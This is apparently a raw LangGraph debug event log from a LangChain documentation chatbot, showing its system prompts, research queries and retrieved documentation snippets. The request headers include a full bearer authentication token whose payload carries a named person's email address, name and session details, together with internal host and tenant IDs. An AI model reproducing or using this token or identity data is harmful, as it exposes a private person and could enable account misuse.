Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1071-6d68-8001-a0b98afcc314"},"checkpoint_id":"1f09269f-1071-6d68-8001-a0b98afcc314"}},"parent_config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a8-69ba-8000-80fdb8a2a254"},"checkpoint_id":"1f09269f-03a8-69ba-8000-80fdb8a2a254"}},"values":{"question":"Greet the user and ask about their specific LangChain-related question or issue","queries":["LangChain introduction","LangChain key features","LangChain common use cases"],"documents":[]},"metadata":{"source":"loop","step":1,"parents":{"":"1f09269f-0392-6f0b-8001-16692042b92d"}},"next":["retrieve_documents","retrieve_documents","retrieve_documents"],"tasks":[{"id":"13244c76-0de7-a8d5-bf3a-a18f6054f1f0","name":"retrieve_documents","interrupts":[],"state":null},{"id":"c5a196ae-0863-dcf7-9b77-d6ad9bc9bc69","name":"retrieve_documents","interrupts":[],"state":null},{"id":"838a2005-2cf5-b6b7-497a-775e0ce4dbdb","name":"retrieve_documents","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269f-1071-6d68-8001-a0b98afcc314","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1071-6d68-8001-a0b98afcc314"}},"parent_checkpoint":{"checkpoint_id":"1f09269f-03a8-69ba-8000-80fdb8a2a254","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a8-69ba-8000-80fdb8a2a254"}}}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:56.148595+00:00","type":"task","payload":{"id":"13244c76-0de7-a8d5-bf3a-a18f6054f1f0","name":"retrieve_documents","input":{"query":"LangChain introduction"},"triggers":["__pregel_push"]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:56.148602+00:00","type":"task","payload":{"id":"c5a196ae-0863-dcf7-9b77-d6ad9bc9bc69","name":"retrieve_documents","input":{"query":"LangChain key features"},"triggers":["__pregel_push"]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:56.148609+00:00","type":"task","payload":{"id":"838a2005-2cf5-b6b7-497a-775e0ce4dbdb","name":"retrieve_documents","input":{"query":"LangChain common use cases"},"triggers":["__pregel_push"]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:57.180823+00:00","type":"task_result","payload":{"id":"13244c76-0de7-a8d5-bf3a-a18f6054f1f0","name":"retrieve_documents","error":null,"result":[["documents",[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"}]]],"interrupts":[]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:57.407075+00:00","type":"task_result","payload":{"id":"c5a196ae-0863-dcf7-9b77-d6ad9bc9bc69","name":"retrieve_documents","error":null,"result":[["documents",[{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","description":"Last updated: 07.08.25","priority":"0.5","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","priority":"0.5","source":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"loc":"https://js.langchain.com/docs/versions/release_policy","uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"}]]],"interrupts":[]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:57.584811+00:00","type":"task_result","payload":{"id":"838a2005-2cf5-b6b7-497a-775e0ce4dbdb","name":"retrieve_documents","error":null,"result":[["documents",[{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","description":"Last updated: 07.08.25","priority":"0.5","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","loc":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","description":"- Runnable Interface","priority":"0.5","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"loc":"https://js.langchain.com/docs/concepts/why_langchain","uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why 